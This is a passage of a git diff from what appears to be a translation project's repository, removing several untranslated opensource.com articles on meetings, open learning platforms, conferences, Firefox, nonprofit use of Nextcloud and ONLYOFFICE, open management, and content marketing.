collaboration. Look for those who aren't participating and provide tools (or encouragement) that will help them get involved. For example, instead of verbal brainstorming, do a silent and anonymous brainstorm using stickies in a jamboard. You'll begin to see participation. Stick to the agenda and its time boxes, and watch for folks that talk over others:  - -"Sara, Fred wasn't finished with his thought. Please let him finish." - -### Closing and and reviewing your meeting: - -#### 9\. Write it down - -Openly run meetings should result in openly recorded outcomes. Be sure your agenda includes time for the group to clarify takeaways, assign action items, and identify stakeholders who'll be responsible for completing work. - -#### 10\. Close the loop - -Finally, review the meeting with a retrospective. Ask for feedback on the meeting itself. What worked in your facilitation? What was lacking? Does anyone have ideas for ways to improve the next meeting? Were any questions unanswered? Any epiphanies reached? Taking in this feedback, actually coming up with a new experiment for the next meeting to address the improvements. Attendees at your next meeting will be more than grateful, and in the long run you'll improve your meeting facilitation skills. - -The path to collaboration is usually paved with the best intentions. We all know too well that this... - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/8/10-steps-better-meetings - -作者:[Catherine Louis][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/catherinelouis -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/osdc_520x292_openlightbulbs.png?itok=nrv9hgnH (Open lightbulbs.) -[2]: https://ideas.ted.com/the-economic-impact-of-bad-meetings/ -[3]: https://theopenorganization.org/definition -[4]: https://opensource.com/article/20/3/open-source-working-home -[5]: https://opensource.com/open-organization/18/3/open-approaches-meetings -[6]: https://learn.filtered.com/hubfs/Definitive%20100%20Most%20Useful%20Productivity%20Hacks.pdf -[7]: https://www.strategyzer.com/blog/posts/2015/10/13/the-culture-map-a-systematic-intentional-tool-for-designing-great-company-culture diff --git a/sources/talk/20210831 How my team built an open source learning experience platform.md b/sources/talk/20210831 How my team built an open source learning experience platform.md deleted file mode 100644 index b9a8cc6dbc..0000000000 --- a/sources/talk/20210831 How my team built an open source learning experience platform.md +++ /dev/null @@ -1,64 +0,0 @@ -[#]: subject: "How my team built an open source learning experience platform" -[#]: via: "https://opensource.com/article/21/8/open-source-lms" -[#]: author: "Tesh Patel https://opensource.com/users/tesh" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -How my team built an open source learning experience platform -====== -Open source powers innovation through community and shared experiences. -![Student desk for open education][1] - -Learning is based on the open exchange of ideas and experiences. By sharing, testing, and practicing what we've learned with others, we're able to develop in our lives and careers. It follows that openness is the ideal state for any successful learning organization.  - -I am passionate about learning, building teams, and technology. At Red Hat, we believe that open source powers innovation and results in better solutions. Five years ago, our learning management system was proprietary and closed. All of our learning platforms existed as islands with limited integration and provided a mediocre user experience. Over the past five years, our team has embraced the open source ethos. We've built and implemented new open source platforms, integrated our disparate learning platforms allowing us to freely exchange data and create a superior user experience. - -If you're a fellow member of a learning organization, I hope you might find it helpful to hear about our experience so far and perhaps even join us as we seek to influence the future of learning.  - -### Unlocking potential - -Our previous LMS served as the primary back-office system, system of record, and front-end experience for our learners. To put it plainly, it didn't serve any of those functions well. Our data was locked up in the vendor's vault. We had to live with the LMS's limited reporting capability or extract the data and manually manipulate it in spreadsheets. Perhaps worst of all, our learners faced a mediocre front-end system with a less-than-intuitive user experience. To live with our LMS, we had to create inefficient processes and workarounds. - -And so, in 2016, we began our journey to open source learning by replacing our proprietary LMS with [Totara Learn, an open source LMS][2].  - -By moving to Totara Learn, we unlocked our data and turned our attention to improving the user experience for our learners.  - -### Identifying the ecosystem - -Our learning ecosystem consists of more than just an LMS. In addition to our own content, we have access to content from third-party libraries, user-generated video content, virtual classroom tools for delivering online classes, and virtualized labs. - -We knew we needed a single interface to disguise our complex learning platforms and tools and deliver one seamless experience to the learner. Initially, we tried customizing Totara Learn for this purpose. It's a great platform, but we eventually realized it wasn't cost-effective for us to remodel it from the ground up. What we needed was a platform designed for our unique requirements. - -### Focusing on the learner - -In 2017, as my team pondered our learning ecosystem challenges, an emerging category of products called learning experience platforms (LXP) emerged. I found several LXP vendors who claimed to solve problems with the learning experience. Many described their platform's experience as the "Netflix of learning."  - -In my experience, I've found that learning isn't suited to a Netflix-like environment. The notion of randomly perusing learning, enrolling in a program, and then abandoning as it gets more challenging or less interesting—as you do with Netflix shows—is the antithesis of what our continuous learning philosophy encourages. Real learning that builds skills and capabilities requires an intentional focus and an ongoing commitment with a learn, practice, reflection, feedback loop.  - -As my team compiled the requirements for an LXP, we quickly realized we were just at the beginning of determining what we'd need to build to create the best learning experience for our users. The requirements would continue to grow and evolve, so we needed a platform that could do the same. The idea for the Open Learning Platform (OLP) was born. - -### Our open invitation - -The OLP is a learning experience platform (LXP) that provides a personalized, online learning experience for users—typically employees at large enterprises. It consolidates disparate learning resources into a single portal. These days, learning can happen anywhere and in many forms. An LXP helps employees discover learning opportunities—offering ways to enhance them and manages their education. We've spent three years developing and building the OLP to meet the learning needs of users and educators. The OLP has come a long way, but we also know we're very much still on the journey.  - -Since the inception of the OLP, we knew we wanted it to be an open source project. Why invest time and energy in open sourcing the platform we've built over several years? Simple. We want to learn from the experiences and innovation of others and form a community that will help determine what the LMS and LXP of the future should be. We want to move past a cost-per-user licensing model and the limitations in thinking when the sole focus is to monetize a product. If even one other learning organization benefits from our open source project, then it will have been worth the investment of our time. We welcome you to join the conversation at[ Open Learning Platform][3]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/8/open-source-lms - -作者:[Tesh Patel][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/tesh -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/rh_003588_01_rd3os.combacktoschoolseriesgen_rh_032x_0.png?itok=cApG9aB4 (Student desk for open education) -[2]: https://github.com/totara -[3]: https://www.openlearningplatform.org/ diff --git a/sources/talk/20210912 What I miss about open source conferences.md b/sources/talk/20210912 What I miss about open source conferences.md deleted file mode 100644 index 44fafd03ba..0000000000 --- a/sources/talk/20210912 What I miss about open source conferences.md +++ /dev/null @@ -1,45 +0,0 @@ -[#]: subject: "What I miss about open source conferences" -[#]: via: "https://opensource.com/article/21/9/why-i-miss-conferences" -[#]: author: "Mike Bursell https://opensource.com/users/mikecamel" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -What I miss about open source conferences -====== -I can buy my own t-shirts, but friendships need nurturing. -![Stickers from all different open source projects and communities][1] - -A typical work year would involve my attending maybe six to eight conferences in person and speaking at quite a few of them. A few years ago, I stopped raiding random booths at the exhibitions usually associated with these for t-shirts for the simple reason that I had too many of them. That's not to say that I wouldn't accept one here or there if it was particularly nice, or an open source project which I esteemed particularly, for instance. Or ones which I thought my kids would like—they're not "cool" but are at least useful for sleepwear, apparently. I also picked up a lot of pens and enough notebooks to keep me going for a while. - -And then, at the beginning of 2020, the pandemic hit, I left San Francisco, where I'd been attending meetings co-located with RSA North America (my employer at the time made the somewhat prescient decision not to allow us to go to the main conference), and I've not attended any in-person conferences since. - -There are some good things about this, the most obvious being less travel, though, of late, my family has been dropping an increasing number of not-so-subtle hints about how it would be good if I let them alone for a few days so they can eat food I don't like (pizza and macaroni cheese, mainly) and watch films that I don't enjoy (largely, but not exclusively, romcoms on Disney+). The downsides are manifold. Having to buy my own t-shirts and notebooks, obviously, though it turns out that I'd squirreled away enough pens for the duration. It also turned out that the move to USB-C connectors hadn't sufficiently hit the conference swag industry by the end of 2019 for me to have enough of those to keep me going, so I've had to purchase some of those. That's the silly, minor stuff, though—what about areas where there's real impact? - -Virtual conferences aren't honestly too bad, and the technology has definitely improved over the past few months. I've attended some very good sessions online (and given my share of sessions and panels, whose quality I won't presume to judge), but I've realised that I'm much more likely to attend borderline-interesting talks not on my main list of "must-sees" (some of which turn out to be very valuable) if I've actually traveled to get to a venue. The same goes for attention. I'm much less likely to be checking email, writing emails, and responding to chat messages in an in-person conference than a virtual one. It's partly about the venue, moving between rooms, and not bothering to get my laptop out all the time—not to mention the politeness factor of giving your attention to the speaker(s) or panellists. When I'm sitting at my desk at home, none of these is relevant, and the pull of the laptop (which is open anyway to watch the session) is generally irresistible. - -Two areas that have really suffered, though, are the booth experience and the "hallway track." I've had some very fruitful conversations, both from dropping by booths (sometimes mainly for a t-shirt—see above) or from staffing a booth and meeting those who visit. I've yet to attend any virtual conferences where the booth experience has worked, particularly for small projects and organisations. Online chat isn't the same, and the serendipitous aspect of wandering past a booth and seeing something you'd like to talk about is pretty much entirely missing if you have to navigate a set of webpages of menu options with actual intent. - -The hallway track is meeting people outside a conference's main sessions, either people you know already or as conversations spill out of sessions you've been attending. Knots of people asking questions of presenters or panellists can reveal shared interests, opposing but thought-provoking points of view, or just similar approaches to a topic which can lead to valuable professional relationships and even long-term friendships. I'm not a particularly gregarious person—particularly if I'm tired and jetlagged—but I really enjoy catching up with colleagues and friends over a drink or a meal from time to time. While that's often difficult given the distributed nature of the companies and industries I've been involved with, conferences have presented great opportunities to meet up, have a chinwag and discuss the latest tech trends, mergers and acquisitions, and fashion failures of our fellow attendees. This is what I miss most: I can buy my own t-shirts, but friendships need nurturing. And I hope that we can safely start attending conferences again so that I can meet up with friends and share a drink. I just hope I'm not the one making the fashion mistakes (this time). - -* * * - -_This article was originally published on [Alice, Eve, and Bob][2] and is reprinted with the author's permission._ - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/9/why-i-miss-conferences - -作者:[Mike Bursell][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/mikecamel -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/stickers-osdc-lead.png?itok=2RNn132b (Stickers from all different open source projects and communities) -[2]: https://aliceevebob.com/2021/08/24/buying-my-own-t-shirts-or-what-i-miss-about-conferences/ diff --git a/sources/talk/20210923 5 reasons to switch to Firefox right now.md b/sources/talk/20210923 5 reasons to switch to Firefox right now.md deleted file mode 100644 index 6f301bbc0d..0000000000 --- a/sources/talk/20210923 5 reasons to switch to Firefox right now.md +++ /dev/null @@ -1,111 +0,0 @@ -[#]: subject: "5 reasons to switch to Firefox right now" -[#]: via: "https://opensource.com/article/21/9/switch-to-firefox" -[#]: author: "Seth Kenlon https://opensource.com/users/seth" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -5 reasons to switch to Firefox right now -====== -Version 0.1 of Mozilla Firefox was released 19 years ago. -![red panda][1] - -Mozilla Firefox was one of the applications that opened my eyes to open source. It wasn't by any means the tipping point, but it was part of a larger cumulative effect of several open source applications grabbing my attention, which ultimately resulted in me switching to Linux, and never looking back. Since switching to Firefox, which occurred well before I consciously changed to open source, I've been an avid Firefox user. My mobile phone was a Firefox OS mobile phone, and it was until the project was abandoned. Interestingly, though, I didn't necessarily consider myself a Firefox _fan_. I used it then and continue to use it today because it continues to be the best browser available in many different ways. Here are five reasons you should [switch to Firefox][2] right now. - -### 1\. Firefox is focused on privacy - -The maintainer of Firefox is the [Mozilla foundation][3], a non-profit organization not motivated at all by your personal data. Mozilla doesn't care about what you search for, what websites you visit, or how much time you spend on the web. That's just not Mozilla's business model, but it is expressly the business model of many other popular browsers. - -Even if you don't object to a browser tracking your activities for privacy reasons, you may have had the experience of making that one-time purchase of an unusual gift, only to have every site you visit try to sell you that item for the rest of your life. The Internet is big, so it sometimes seems like a good idea to restructure it based on users' interests. I admit that if all of my searches could have "open source" appended to them, it would probably provide more relevant results. But then again, I'd rather opt in to that kind of optimization rather than have it, along with many other unknowns, being decided for me, outside my control. - -![Privacy in Firefox][4] - -Privacy in Firefox (Seth Kenlon, CC BY-SA 4.0)  - -Mozilla has this policy: [Take less. Keep it safe. No secrets.][5] - -Never one to stop short, Firefox also offers account [monitoring][6], an optional service from Mozilla that alerts you if any of your online accounts become compromised through a large-scale data breach. Additionally, Mozilla offers a paid VPN service using open source Wireguard software so you can browse safely from anywhere. - -### 2\. Firefox can use containers - -It may be hard to believe, but there was a time when leading web browsers did not feature tabs. In the late 90s and early 00s, when you wanted to visit two web pages simultaneously, you had to open two separate browser windows. Firefox (and the Mozilla browser before it) was an early adopter of the tabbed interface. - -Tabs are expected in browsers now, but through Firefox's extensions, there's been an interesting new twist on the power of the tabbed interface. Developed by Mozilla itself, the [Firefox Multi-Account Containers plugin][7] can turn each tab into an isolated "container" within your browser. - -![Containerized tabs in Firefox][8] - -Containerized tabs in Firefox (Seth Kenlon, CC BY-SA 4.0)  - -For instance, say your employer uses Google Apps, but you don't trust Google with your personal information. You can use the Multi-Account Containers plugin to isolate your work activities so that Google touches only your professional life and has no access to any other part of your life. - -You can even open the same site with two different accounts, and as a bonus, the tabs are color-coded, so it's useful whether you're looking to isolate sites or just add new visual cues to your browser. - -### 3\. Firefox user interface design - -As much as we humans tend to get excited about new things, there's just as much comfort to be found in something familiar and reliable. Firefox has updated its interface over the years, and it's had its fair share of innovations that are now unofficial industry standards, but overall it has remained very much the same. Its user interface retains all the standard conventions you already take for granted. - -When you download a file, you're prompted for how you want Firefox to handle the file. At your option, you can open the file in an appropriate application or save it to your hard drive. You can prompt Firefox to remember your choices for the future or have it continue to prompt you. - -![Firefox user interface][9] - -Firefox user interface (Seth Kenlon, CC BY-SA 4.0) - -When you need an application menu, you can find it in a modern-style "hamburger" menu, or else you can press the **Alt** key to show a traditional menu along the top of the Firefox window. - -Everything in Firefox is familiar, whether you're a long-time user of Firefox or not because it builds on years of user interface design. Where it can innovate, it does, but where it's counter-productive to change something intuitive, it refrains. - -### 4\. Developer tools in Firefox - -Back in the early days of the world wide web, you could navigate to any website and view the source code. There was a high chance of learning HTML just from doing this a few times. Everything was open, transparent, obvious, and relatively straightforward. - -The Internet has evolved into a powerful [cloud-based supercomputer][10], and extracting meaningful context from a website now sometimes requires more than just a text dump of its underlying markup. To ensure everyone can reverse engineer (and engineer) how a website functions, Firefox incorporates a set of powerful development tools into the browser. - -![Developer tools][11] - -Developer tools (Seth Kenlon, CC BY-SA 4.0)  - -Although this was a Firefox-based innovation originally (by [Firebug][12] back in 2006), many browsers have a devtools feature now. Not all devtools are equal, though, and it's Firefox's developer panels that make Firefox my go-to browser for web design and UX testing. - -### 5\. Firefox is open source - -Most importantly, Firefox is fully open source. It's an excellent browser with nothing to hide. It's got no ulterior motive aside from keeping the web open, educating people about the Internet, and promoting open source solutions to everyday tasks. - -![Firefox is open source][13] - -Firefox is open source (Seth Kenlon, CC BY-SA 4.0)  - -You can contribute to Firefox. You can file bugs about things that you don't like. You can see the code you run when you interface with the Internet. Firefox has taken a stand for the open web for decades. It's stayed true to its principles and arguably has forced the hand of several competitors who probably wouldn't have chosen to go open source if Firefox hadn't set the public's expectations. - -Firefox is a powerful force on the modern Internet, and it's a great browser. Firefox runs on your desktop and mobile devices, so do yourself a favor and [get Firefox][14]. - -Learn how to contribute to one of the largest and most popular open source projects on the web:... - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/9/switch-to-firefox - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/redpanda_firefox_pet_animal.jpg?itok=aSpKsyna (red panda) -[2]: http://getfirefox.org -[3]: https://foundation.mozilla.org/en/ -[4]: https://opensource.com/sites/default/files/firefox-privacy.jpg -[5]: https://blog.mozilla.org/en/products/firefox/firefox-data-privacy-promise/ -[6]: https://monitor.firefox.com -[7]: https://github.com/mozilla/multi-account-containers#readme -[8]: https://opensource.com/sites/default/files/firefox-container.jpg -[9]: https://opensource.com/sites/default/files/screenshot_from_2021-09-16_12-13-14.png -[10]: https://www.redhat.com/en/products/open-hybrid-cloud -[11]: https://opensource.com/sites/default/files/firefox-dev.jpg -[12]: https://getfirebug.com/ -[13]: https://opensource.com/sites/default/files/firefox-open.jpg -[14]: http://getfirefox.com diff --git a/sources/talk/20210927 Why nonprofit organizations choose open source software.md b/sources/talk/20210927 Why nonprofit organizations choose open source software.md deleted file mode 100644 index 69c24ead75..0000000000 --- a/sources/talk/20210927 Why nonprofit organizations choose open source software.md +++ /dev/null @@ -1,90 +0,0 @@ -[#]: subject: "Why nonprofit organizations choose open source software" -[#]: via: "https://opensource.com/article/21/9/nonprofit-open-source" -[#]: author: "Michael Korotaev https://opensource.com/users/michaelk" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Why nonprofit organizations choose open source software -====== -Open source software increases in importance as more European nonprofits -shift to products like Nextcloud and ONLYOFFICE. -![4 books that spell out open][1] - -With tech and data safety awareness rising, open source software is becoming a go-to option for organizations of all classes more than ever. Nonprofit organizations are particularly vulnerable on the financial side while at the same time dealing with vital social and environmental issues. - -This article observes the adoption of open source collaboration technologies in nonprofit organizations by using [Nextcloud][2] and [ONLYOFFICE][3] as examples. - -### Transparency and security - -Open source is basically democracy written in code: It liberates and democratizes knowledge, gives access to vital technology to governmental and social institutions in all communities, and pursues the idea of transparency. - -People and organizations can access and reuse the software code. At the same time, contributors bear individual responsibility for the quality of their products and are more driven by initiative and ideas and much less by profit. - -Open source applications are seen as more reliable than proprietary solutions with source code reserved to a single vendor who decides how user’s data is handled and is in many cases the only observing party to this process. - -According to the latest [State of Enterprise Open Source report][4], the enterprise use of open source is expected to grow with 79% of surveyed IT leaders willing to build up their use of open source in the next two years. - -### Universal access to collaborative tools - -For decades, Microsoft and Google have been the de-facto standard for collaboration tools. But privacy and security concerns, together with a massive boost in cloud collaboration usage over the pandemic, have ramped up nonprofits' preference for open source tools. - -For nonprofit organizations, open source is a way to cut expenses by providing their employees and contributors with core collaboration tools such as content management and sharing environments, online office, and communication tools to manage operations, organize data, and create content. - -One example of an all-in-one system that sees constant growth in popularity among nonprofit organizations in Europe is Nextcloud. It is a free and secure sharing platform that combines document management space with various productivity add-ons. It also integrates with ONLYOFFICE Docs for document editing and collaboration functionality. - -### ONLYOFFICE and Nextcloud in practice - -Over the past year, several nonprofit organizations with diversified profiles have joined the users of Nexcloud and ONLYOFFICE. Some are newly in business and some are switching from proprietary solutions seeking a better match to handle their jobs. - -#### Sea-Watch - -[Sea-Watch][5] is a rescue organization that provides emergency aid for civilians in the Mediterranean amidst the ongoing refugee crisis and has saved over 38,000 lives to date. It has deployed a collaborative system for its 90 employees and over 400 volunteers. - -After having tried several free online solutions to maintain internal document flow and collaboration, Sea-Watch now relies on open source software to be more and more protective of the security and privacy of the organization’s data and the personal information of its employees and volunteers. - -Sea-Watch finds the solution to this problem by combining the Nextcloud file sharing platform with ONLYOFFICE online editors to enable secure editing and collaboration on documents online using the organization’s own physical infrastructure. - -#### Vegan in Leipzig - -[Vegan in Leipzig][6], a young activist association in Germany, advocates for animal rights and promotes a vegan diet and lifestyle. Around 100 people in the organization’s team work on creating vegan dining maps, scheduling and promoting related events, and uniting online communities to collect and organize all information for Leipzig’s vegan community and allies in one place. - -Vegan in Leipzig has been using Nextcloud to facilitate the organization’s internal file management and content sharing. A reliable and free platform for community users, Nextcloud is built to provide a sharing space of required scale for distributed teams and incorporating online communication tools such as videoconferencing and chat. - -In March 2021, the organization introduced its contributors to ONLYOFFICE editors integrated with Nextcloud for online collaboration on shared files, including documents, spreadsheets, and presentations. - -“Our employees are almost 100% satisfied. For now, there have been no complaints, feature requests, or reports of technical problems. As an administrator, I would go even further and say that ONLYOFFICE is the part of our application landscape that requires by far the least maintenance,” says Christo H., a volunteer administrator with Vegan in Leipzig. - -#### Wegweiser - -Among various nonprofit organizations grounded in helping struggling societal groups, one plays a vital role in the German social agenda: Wegweiser. The organization helps people with mental and physical disabilities integrate into society by dealing with daycare organizations, outpatient care, and school-to-employment transfer. - -Wegwiser had been using SharePoint for managing its content and documentation, but with growing concerns for the privacy of processed data, the organization opted for a Nextcloud and ONLYOFFICE combination to ensure full control over data in its own sovereign infrastructure. Wegweiser uses Nextcloud to document daily work, accounting and controlling, simultaneous document editing, and working with Microsoft Office-formatted documents. - -### Wrap up - -The list can be continued by numerous nonprofit organizations that have recently become users of Nextcloud and ONLYOFFICE, including The German Life Saving Association, Foodsharing Austria, and International Youth Community Services. - -Stories like this show that it’s not only cost-cutting that defines the value of open source for the global community but also the vitality of universal access to technology and knowledge. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/9/nonprofit-open-source - -作者:[Michael Korotaev][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/michaelk -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/EDU_OSDC_BYU_520x292_FINAL.png?itok=NVY7vR8o (4 books that spell out open) -[2]: https://nextcloud.com/ -[3]: https://www.onlyoffice.com/ -[4]: https://www.redhat.com/en/enterprise-open-source-report/2021 -[5]: https://sea-watch.org/en/ -[6]: https://www.vegan-in-leipzig.de/ diff --git a/sources/talk/20210928 Modeling open management practices.md b/sources/talk/20210928 Modeling open management practices.md deleted file mode 100644 index d896968e50..0000000000 --- a/sources/talk/20210928 Modeling open management practices.md +++ /dev/null @@ -1,101 +0,0 @@ -[#]: subject: "Modeling open management practices" -[#]: via: "https://opensource.com/open-organization/21/9/modeling-open-management" -[#]: author: "Heidi Hess von Ludewig https://opensource.com/users/heidi-hess-von-ludewig" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Modeling open management practices -====== -How can managers know if other leaders are cultivating an open culture? -Ask the people they impact every day. -![Women talking][1] - -In the [first part of my interview with Sam Knuth][2], a fellow [Open Organization Ambassador][3], we discussed how leaders need to make time to be open. Openness isn't effortless. - -In this second part, Sam and I discuss how executive leaders support their managers and teams in [leading with open values][4]. Because of the confidentiality of some of the answers (we're colleagues at Red Hat, after all), I am summarizing the interview in a series of articles that highlight and share some of Sam's most memorable observations and practices. - -### Managing managers - -Executive and senior leaders manage groups of managers, which means they may have little (or no) direct, routine contact with individual contributors in their organizations. So if they're interested in promoting open cultures throughout their organizations, they'll need to continuously model the open management practices they expect to see from all the managers in their team. - -Executive and senior leaders, however, don't only _promote_ open culture; they're also members of the organizational communities they want to see thrive, and like other members they shoulder some accountability for the health and vitality of that culture. Like all other members of an open organization community, managers are accountable for being _stewards_ (even protectors) of the values of the community as well. Senior leaders are responsible—as is any community member—for challenging behaviors that are unsupportive of open values. - -But this work is even more critical in the case of managers, especially because managers can enjoy enhanced decision-making power in many open organizations, and they influence more and more people the higher their role in an organization's hierarchy they sit. - -So how can executive leaders promote and protect open values in their organizations? Sam described a multi-factor approach to gathering and understanding associates' perspectives of their managers' leadership competencies. - -#### Meeting one-on-one - -As Sam's organization grew and more layers of management formed, Sam found he didn't have ongoing conversations with associates who weren't directly reporting to him, and was losing touch with how employees were feeling. Those _feelings_ are integral to any understanding of the organizational culture individual contributors experience every day. - -The bottom line? However you connect with associates, cultivating psychological safety is important for generating candid discussions. - -So Sam set up [one-on-one meetings][5] to connect with associates throughout the organization, choosing as randomly as he could. This helped create a safe space and develop trust in a confidential environment. Sam did this across his 250-associate organization by scheduling two to three meetings every week, because he felt it was the best way to get a sense of everyone's perspectives. It also gave him opportunities to share what he was learning with the managers in his organization and to coach them on becoming open leaders and champions of open values among their peers. - -During these discussions, he listened actively and asked many questions. Red Hatters can be quite forthcoming in their feedback, but asking questions helped Sam pick up on subtle cues when necessary. This way, he could ferret out an accurate sense of the situation, asking himself, "Does what the associates' say line up with what I think the leaders are intending? Where does it seem like alignment is not occurring? Why?" - -It's an individualized approach that's both time-consuming and candid, and Sam found it to be well worth the effort. - -It's also the opposite of a process I recalled from my past life in a conventional organization. As Sam and I chatted, I remembered "round tables," where an executive would set up team discussions to (allegedly) understand associates' perspectives. It was supposed to be a venue for collecting feedback and constructive criticism—but, in practice, no one said anything to the visiting executive that they hadn’t shared with team or department leaders, so there was no candid discussion _about_ those team or department leaders. I didn't feel any [sense of psychological safety][6], which is required in order for associates to share their thoughts. In my case, the round tables were completely ineffective. - -The bottom line? However you connect with associates—individually or in groups—cultivating psychological safety is important for generating candid discussions. - -Travelling to meet associates was ideal for these kinds of individual meetings to occur face-to-face, but the pandemic changed this tactic. On the other hand, workplaces across the world were already becoming more distributed before the pandemic; in fact, Sam struggled to meet associates in the United States because of the distribution of sites and even associates working remotely! To overcome this, leaders can set up one-on-one teleconferences with associates. In cases where associates seem to be less forthcoming or fearful of sharing their opinions, leaders can ask probing (but not direct) questions of the associates to get feedback as best as they can. For instance, leaders can glean a great deal of information from how associates answer questions such as: - - * How are you feeling about your work? - * What kinds of challenges do you encounter in your work? - * Do you feel like you get the support you need to do your work? - * How well do you feel you connect with your manager? Colleagues? - - - -#### On (not) using surveys - -Finally, Sam and I discussed surveys. After all, couldn't someone achieve the same results using a survey—without all that extra legwork? - -Surveys have their place in tracking the health of an open culture, Sam told me, but on their own they're rarely sufficient for doing this. For starters, Sam said, using surveys requires skill in both asking quantifiable questions and analyzing data, and that kind of skill isn't as common as we tend to think it is. Without proper expertise in using survey instruments, we may be letting data mislead us (for instance, when we gloss over problems because we see a high average score on another, similar question). So Sam finds surveys most useful for capturing a _broad perspective_ on team- or department-level experience of a culture and a manager's role in creating and maintaining it. - -Getting an accurate sense of specific details or issues is difficult when using surveys, which tend to ask for more generic feedback. Painting a more complete picture really requires sitting down with people and talking to them. - -Getting an accurate sense of specific details or issues is difficult when using surveys, which tend to ask for more generic feedback. Painting a more complete picture really requires sitting down with people and talking to them, Sam insisted. - -That's why it's important to investigate and spend time learning about the work culture in your organization from the associates themselves. Use a combination of techniques, and open multiple channels to facilitate feedback in as many forms as possible, as different people feel comfortable with different media. - -### When managers aren't open - -Like any role, managers learn skills and behaviors that help them succeed in particular organizations. When they get hired into an open organization (like Red Hat), they might experience some "abrasion" (my term), because there can be a genuine belief that a manager is managing with open values even though that person's _vision_ of open values doesn't match that of the organization. - -I recalled personal experience with this, where I had a manager who probably _thought_ they were being open, but really wasn't. - -"Exactly," Sam said, "and it's very painful." - -_Listen to Sam Knuth describe difficulties helping managers become more open._ - -When managers really aren't sufficiently "open," it's an issue that has to be addressed—because it can be damaging to teams. Sometimes managers can unlearn their conventional skills and behaviors. And sometimes they can't. Sometimes the change has to happen quickly so that the team doesn’t suffer. Ultimately, the organization's executive leader must embody that organization's culture. - -So "open management" then becomes a question of "open by whose standards?" and the organization must make those standards explicit in some way. That means deliberately codifying what the organization _means_ by "openness." Some organizations might draw up a simple social contract to accomplish this—a description of open principles and practices that all agree to let guide them. Other organizations might go so far as to formalize certain managerial competencies that align with the open culture an organization seeks to maintain. Regardless of the approach, however, it's important that an open organization fosters transparent discussions about behaviors it _does_ and _doesn't_ want to see its managers reflecting and encouraging. In this way, executive leaders can be those stewards for an organization's open culture. - -In the final part of my interview with Sam, I'll describe another important open management tactic I learned during our conversation: daring to be vulnerable. - --------------------------------------------------------------------------------- - -via: https://opensource.com/open-organization/21/9/modeling-open-management - -作者:[Heidi Hess von Ludewig][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/heidi-hess-von-ludewig -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/conversation-interview-mentor.png?itok=HjoOPcrB (Women talking) -[2]: https://opensource.com/open-organization/21/3/open-practices-executive-leaders -[3]: https://github.com/open-organization/governance/blob/master/community-roster.md -[4]: https://opensource.com/open-organization/managing-with-open-values -[5]: https://opensource.com/open-organization/21/8/one-on-one-meeting-tips -[6]: https://opensource.com/open-organization/19/3/introduction-psychological-safety diff --git a/sources/talk/20211015 Reach your open source community with content marketing.md b/sources/talk/20211015 Reach your open source community with content marketing.md deleted file mode 100644 index a015772be1..0000000000 --- a/sources/talk/20211015 Reach your open source community with content marketing.md +++ /dev/null @@ -1,88 +0,0 @@ -[#]: subject: "Reach your open source community with content marketing" -[#]: via: "https://opensource.com/article/21/10/content-marketing-open-source-community" -[#]: author: "Will Kelly https://opensource.com/users/willkelly" -[#]: collector: "lujun9972" -[#]: translator: " " -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " - -Reach your open source community with content marketing -====== -Technology and content marketing teams can work together to reach the -community around an open source software project. -![people in different locations who are part of the same team][1] - -Both startups and more established firms are increasingly turning to content marketing as a way of reaching prospective customers. - -However, corporate marketers often consider the open source software (OSS) community a challenge to reach. This article features ways your technology and content marketing teams can work together to target and reach the community around an OSS project your organization supports. - -### Content marketing: a definition - -You can find multiple definitions of content marketing online. For this article, I define content marketing as the creation and sharing of online content, such as blog 